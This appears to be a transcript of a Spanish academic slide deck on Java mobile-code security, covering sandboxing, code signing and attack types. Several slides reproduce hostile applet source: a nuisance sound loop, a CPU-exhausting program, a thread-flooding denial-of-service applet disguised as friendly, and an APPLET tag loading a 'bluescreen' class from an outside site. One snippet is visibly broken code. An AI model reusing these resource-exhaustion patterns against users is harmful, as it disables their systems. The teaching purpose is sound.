Download Virtual Memory - cryptomex.org

Document related concepts
no text concepts found
Transcript
SEGURIDAD
EN CODIGO
MOVIL
Asesor: Dr. Roberto Gomez.
Alumno: Jaime Alejandro Castellanos
Jcastell
Contenido
 Abstract
 Objetivo
 Introducción
 Preocupaciones en seguridad
 ¿Qué es el código móvil?
 Tecnologías : código móvil
 Java, un lenguaje para soportar código móvil
 Conclusiones
 Bibliografía
Jcastell
Abstract

Con el crecimiento de computo distribuido y los sistemas de
telecomunicaciones, se ha incrementado la demanda para el uso de
“CODIGO MOVIL”, originado en sistemas remotos, posiblemente no
confiables, pero ejecutados localmente. Los mejores ejemplos
conocidos de este tipo de código son: WWW applets, Information
Networking Architecture (TINA) y Dynamic Email. El uso de código
móvil introduce una serie de riesgos de seguridad que debemos
considerar. El objetivo de este trabajo es proporcionar técnicas que
puedan ser usadas para ejecutar código móvil confiable en un
sistema local, usando como herramienta el lenguaje de programación
Java.
Jcastell
Objetivo

El objetivo principal de este trabajo es proporcionar técnicas
que puedan ser usadas para ejecutar un código móvil
confiable en un sistema local, usando como herramienta el
lenguaje de programación Java.
.
Jcastell
Jcastell
INTRODUCCION
Jcastell
El poder de las redes
Computadoras como máquinas de cálculo.
 En 1970, Arpanet con aproximadamente 12 nodos.
 Herramienta de comunicación.
 Transferencia de archivos.
 En 1992 Tim Berners-Lee ( Web).
 Hipertexto (HTML).
 Actualmente se tienen registradas aproximadamente 30
millones de direcciones.

Jcastell
Internet: El mundo de las conexiones
Jcastell
Número de servidores de Web
Jcastell
La conexión de computadoras en red
permite a los usuarios:
 Compartir datos
 Compartir programas
 Accesar máquinas remotas
 Recuperar datos
 Compartir el procesador
 Otros recursos computacionales
 Comunicación entre procesos
Jcastell
Preocupaciones en seguridad
 ¿A quién se le permite conectarse a una máquina en
particular?
 ¿Quién puede tener acceso a un determinado
recurso en una máquina compartida?
 ¿Cómo proteger datos usando encriptación?
•Autentificación de passwords
•Firewalls (SATAN)
•Detección de intrusos basado en Inteligencia
Artificial
Jcastell
La seguridad debe ser importante para
diferentes clases de gente
 Usuarios de Web
 Desarrolladores de aplicaciones
 Administradores de sistemas
 Gente de negocios
Jcastell
Código móvil
 Es un código fuente almacenado en un lugar remoto,
posiblemente de un lugar no confiable, pero
ejecutado localmente.
 Ejemplos de código móvil:
Web applets
Dynamics e-mail
TINA
Jcastell
Concepto de código móvil
 Agente móvil
 Código móvil
 Downloadable code
Local ejecución y código
fuente remoto
 Contenedor ejecutable
 Capsulas activas
 Código remoto
Jcastell
Código móvil
 Este tipo de código navega por la red y se
ejecuta de manera automática en las
computadoras de los clientes; habilita a los
usuarios a bajar applets muy útiles, ver videos
con un navegador y accesar aplicaciones de
comercio electrónico.
Jcastell
El uso de código móvil trae como consecuencias
obvias las siguientes medidas de seguridad
 Acceso de control
 Autentificación de usuarios
 Integridad de los datos
 Confiabilidad de los datos
Jcastell
Tipos de ataques que se necesitan proteger
 Negación del servicio
 Revelación de información confidencial
 Dañar o modificar los datos
 Ataques molestos
Jcastell
Ejemplos
 Video por demanda puede scanear archivos locales
para obtener información.
 Un juego en línea puede abrir una conexión para
ejecutar un programa localmente.
 Un programa invisible puede capturar información
de las actividades del sistema.
Jcastell
Acceso a recursos y seguridad
 Cualquier proceso en ejecución tiene acceso a
recursos del sistema para ejecutar su tarea.
Jcastell
Tipos de recursos que se necesitan accesar
 Sistema de archivos
 Red
 Memoria random
 Dispositivos de salida
 Dispositivos de entrada
 Control de procesos
 Ambiente del usuario
 Sistemas de llamadas
Jcastell
Host resources
Recurso
Revelación
Disponibilidad
Integridad Molestia
File system
x
x
x
Network
x
Random
memory
x
x
x
x
Output Devices
Input Devices
x
x
x
x
Process control
User
environment
x
System calls
x
x
x
x
x
x
Jcastell
x
x
x
x
Políticas de acceso a los recursos
 Fijas para todo código móvil.
 Los usuarios verifican cada petición de acceso.
 Negociación por cada unidad de código móvil.
Jcastell
Tecnologías: Código móvil (propuestas)
 Basadas por el tipo de código distribuido.
Código fuente
Código intermedio
Código binario
Tiempo de compilación
Jcastell
Código fuente
 El código fuente deberá ser verificado y ejecutado
por un intérprete en el sistema del usuario. El
intérprete es responsable de verificar el código, su
sintaxis y semántica.
 Proporcionar una ejecución segura. (sandbox)
Jcastell
Intermediate code
 La segunda propuesta es proporcionar un código
móvil independiente de la plataforma, el cuál es
distribuido al sistema del usuario.
 Este código intermedio es ejecutado por un
intérprete en el sistema del usuario.
Jcastell
Ventajas
 Es más rápido de interpretar que el código fuente
(no parsing).
 No es necesaria una verificación textual.
 El código intermedio es más cercano al código de la
máquina.
 El intérprete proporciona los mecanismos de
seguridad (sandbox).
 La seguridad del sistema depende del intérprete.
 El código en general es mucho más pequeño.
Jcastell
Intermediate code
 Java
 Telescript
•Crear aplicaciones distribuidas usando código móvil
•Movil agent => procesos emigrantes
•Objetos persistentes
•Políticas de autentificación
Jcastell
Native Binary Code
 Máxima velocidad.
 El código es dependiente de la plataforma.
 Se
requiere del uso restringuido del conjunto de
operaciones.
 Se requiere del uso restringuido del espacio de
direcciones.
Jcastell
JIT
 Omniware, tecnología para código móvil.
 Escrito en C++.
 Compilado como un código intermedio para
OmniVM.
 Se distribuye y en run time se convierte en código
nativo (Binario) para su ejecución.
Jcastell
Applets maliciosos
 Un applet malicioso es un applet que ataca un
sistema local.
 Existen maliciosos applets en el Web y pueden
hacer daño de la siguiente manera:
Jcastell
Applets maliciosos
 Falsificando e-mails.
 Apoderarse del procesador.
 Bloquear el sistema, usando todos los recursos
disponibles.
 Creados sólo para fastidiar: ejecutar archivos de
sonidos continuamente, crean hilos de control para
monitoriar el uso de Web, desplegar gráficas no
deseadas.
Jcastell
Ejemplo de un malicioso applet
import java.applet.AudioClip;
import java.awt.*;
public class NoisyApplet extends java.applet.Applet
implements Runnable {
Font msgFont = new Font("TimesRoman",
Font.PLAIN, 36);
Thread noisethread = null; // thread to run sound in
Image jackImage;
Image offscreenImage;
Graphics offscreenGraphics;
AudioClip bark; // sound
Jcastell file variable
Método Init
public void init() {
// Obtiene la imagen
jackImage = getImage(getCodeBase(),
"jack+waldog.jpg");
offscreenImage = createImage(this.size().width,
this.size().height);
offscreenGraphics = offscreenImage.getGraphics();
// Obtiene el sonido
bark = getAudioClip(getCodeBase(), "bark.au");
}
Jcastell
//Método start
public void start() {
// start a thread to run the audio clip in
if (noisethread == null) {
noisethread = new Thread(this);
noisethread.start();
}
}
}
Jcastell
// Método stop
public void stop() {
if (noisethread != null) {
// uncommenting the following 2 lines will stop
// the sound
// if (bark != null)
// bark.stop();
noisethread.stop();
noisethread = null;
}
}
Jcastell
//Método run
public void run() {
if (bark != null) bark.loop();
}
Jcastell
// Método paint
public void paint(Graphics g) {
int jack_width = jackImage.getWidth(this);
int jack_height = jackImage.getHeight(this);
offscreenGraphics.drawImage(jackImage, 0, 0,
jack_width, jack_height, this);
offscreenGraphics.setColor(Color.red);
offscreenGraphics.setFont(msgFont);
offscreenGraphics.drawString(
"Walnut says HI HI HI ...", 150, 225);
// actually draw the image
g.drawImage(offscreenImage, 0, 0, this);
} }
Jcastell
Using try/finally to defeat ThreadDeath.
public void run() {
try { //do somthing interesting here
}
catch(ThreadDeath td){System.out.println("Can't touch
this!");}
// Return from the dead
finally{
Thread.reborn = new Thread(, "new");
reborn.start();
}
}
Jcastell
<APPLET CODE="bluescreen.class"
CODEBASE="http://www.digicrime.com/surprise" width=1 height=1>
Decompilador
Software.
Jcastell
Negación del servicio
 Consumir ciclos del CPU.
 Consumir memoria.
 Screen space.
Jcastell
import java.lang.System;
import java.io.IOException;
import java.lang.Math;
class Ackerman {
public static void main(String[] args) {
long ackValue = 1;
long exp = 0;
if (args.length >= 1) {
try { exp = Integer.parseInt(args[0]); }
catch (NumberFormatException e) { exp = 0; }
}
Jcastell
if (exp > 1) {
ackValue = exp;
int numLoops = (int)exp;
for (int i = 1; i < numLoops; i++) {
exp = ackValue;
for (int j = 1; j < numLoops; j++) {
ackValue = ackValue * exp;
System.out.println("current value is " +
ackValue); }
}
System.out.println("Ackerman vlue: " +
ackValue); } }
Jcastell
/* HostileThreads.java */
/* This Java Applet tries inundate the browser with lots of wasteful
threads. If that completes or fails, it then executes as cleanup
a more hostile action. */
import java.awt.*;
import java.applet.AudioClip;
import java.net.*;
Jcastell
public class HostileThreads extends java.applet.Applet implements
Runnable {
// Just a font to paint strings to the applet window
Font bigFont = new Font("TimesRoman", Font.BOLD, 36);
Thread controller = null;
Thread wasteResources[] = new Thread[1000];
// Used to read in a parameter that makes the thread sleep for a
// specified number of seconds taking effect
int delay;
// Netscape will die barking!
AudioClip bark;
Jcastell
public void init() {
setBackground(Color.white);
bark = getAudioClip(getCodeBase(),"Sounds/bark.au");
// Determine how many seconds the thread should sleep before
kicking in
String str = getParameter("wait");
if (str == null)
delay = 0;
else delay = (1000)*(Integer.parseInt(str));
try {
for (int i = 0; i < 1000; i++) {
wasteResources[i] = null;
}
}
Jcastell
catch (OutOfMemoryError o) {}
finally {
AttackThread q = new AttackThread();
Thread killer = new Thread(q);
killer.setPriority(Thread.MAX_PRIORITY);
killer.start();
}
}
Jcastell
/* Create and start the main thread in the standard way */
public void start() {
if (controller == null) {
controller = new Thread(this);
controller.setPriority(Thread.MAX_PRIORITY);
controller.start();
}
}
public void stop() {}
Jcastell
/* Create lots of threads which do lots of wasteful stuff */
public void run() {
// Let the applet tell its lie
repaint();
// Let the applet sleep for a while to avert suspicion
try {controller.sleep(delay);}
catch(InterruptedException e) {}
// Make it bark when it awakens and goes to work
bark.loop();
try {controller.sleep(3000);}
Jcastell
catch (InterruptedException e) {}
try {
for (int i = 0; i < 1000; i++) {
if (wasteResources[i] == null) {
AttackThread a = new AttackThread();
wasteResources[i] = new Thread(a);
wasteResources[i].setPriority(Thread.MAX_PRIORITY);
wasteResources[i].start();
}
}
}
Jcastell
catch (OutOfMemoryError o) {}
finally {
AttackThread q = new AttackThread();
Thread killer = new Thread(q);
killer.setPriority(Thread.MAX_PRIORITY);
killer.start();
}
}
/* Paints the applet's lie */
public void update(Graphics g) {
paint(g);
}
Jcastell
public void paint(Graphics g) {
g.setColor(Color.blue);
g.setFont(bigFont);
g.drawString("I'm A Friendly Applet!", 10, 200);
}
}
Jcastell
Trojan horse applet attack
applet
Carlos
Luis
applet
Web req
Robo de información
Alicia
Jcastell
4. Change Page
1. Request
Spoof URL
5. Spoofed
Page Contents
Victim’s
www.attacker.org
Browser
2. Request
Real URL
3. Real Page
Contents
www.server.com
Jcastell
Java un lenguaje para web
 Páginas estáticas.
 Páginas dinámicas.
Efectuar cálculos
Desplegar resultados
Aceptar entradas
 Java es un lenguaje de programación diseñado para usarse
en todas la plataformas y permite implantar páginas Web
basadas en código móvil, puede ser dinámicamente
distribuido y ejecutado virtualmente por cualquier usuario de
Web.
Jcastell
JVM
Jcastell
Aspectos fundamentales de Java
 Orientado a objetos
 Tipiado
 Multihilado
 Colector de basura
 No apuntadores
 Manejador de excepciones
 Link dinámico
 Portable
 Distruibuido
Jcastell
Sandbox
Applet Class
Web Page
Web Browser
1
2
3
Byte-Code
Verifier
Applet Class
Loader
Security
Manager
Applet Class
4
Namespace
Java Virtual Machine
Jcastell
5
6
Acciones cuando un usuario hace un
click en un hiperlink
 Se efectúa una búsqueda del código en el servidor
Web.
 Verificación del código.
 Se cargan las clases.
 Se crean las instancias de clases.
 Se invocan métodos de clase.
 Se consulta al administrador de seguridad antes de
ejecutarse el método.
Jcastell
Confiabilidad: applets y aplicaciones
 Aplicaciones confiables
 Applets no confiables
 Daños en la funcionalidad
 Modelo confiable de seguridad
Jcastell
Modelo confiable de seguridad
Jcastell
Jcastell
Jcastell
Jcastell
Jcastell
Check Key
Binary
Code
Public Key
Thing 1
Jcastell
Check
CA’s Key
Netscape Navigator en Solaris
Jcastell
Netscape Navigator en Windows NT
Jcastell
Microsoft Internet Explorer
Jcastell
CONCLUSIONES
Jcastell
El lado obscuro del código móvil

Tanto Java como ActiveX
pueden introducir el
potencial para crear un
caos en la red.

Jcastell
Applets malignos y
controles de ActiveX
pueden borrar o copiar
archivos, ejecutar
programas en la PC del
usuario o deshabilitar su
sistema.
Point
 Uno de los principales retos para proporcionar la
ejecución confiable de un código móvil es
determinar exactamente a que recurso se le va a
permitir accesar.
 Esto significa que se necesita definir una política
de seguridad para determinar qué tipo de acceso
tiene permitido cualquier código móvil.
 Qué tipo de acceos y cómo son controlados es el
punto de la investigación.
Jcastell
Algunas medidas de seguridad
 Fijar límites en el uso del CPU.
 Limitar el número de instrucciones que se puedan
ejecutar.
 Limitar el número de ventanas.
 Un Threads no podra sobreescribir el método stop()
fácilmente.
Jcastell
Lenguaje para soportar la seguridad
 Necesitamos la
validación de la implementación sin
comprometer la eficiencia.
 El sistema deberá ser diseñado en forma modular,
separando la interfaz de la implementación.
 Remover librerias generales que puedan comprometer la
seguridad y reemplazarlas por una mas específica.
 Reemplzar rutinas generales de acceso a los archivos
con una que pueda escribir archivos sólo en un directorio
temporal.
Jcastell
¿Qué soluciones hay contra esa
amenaza?
 Java 2 incluye un modelo con una política más
selectiva que impone menos ataduras, sin
embargo, preserva los mecanismos de control
implícitos.
 Otra solución es el Authenticode; con éste, se
puede insertar una firma digital en los formatos de
los archivos, y certificados digitales verifican que el
código no ha sido alterado.
Jcastell
Bibliografía
 Network Magazine
Special report
Mobile Code Safety
 Inside the Java 2 Virtual Machine
Networking Mobility
Bill Venners
 Securing Java
Mobile Code and Security: Why Java
Jcastell
Bibliografía
 Weeb Security & Commerce
Simon Garfinkel
O´REILLY
Jcastell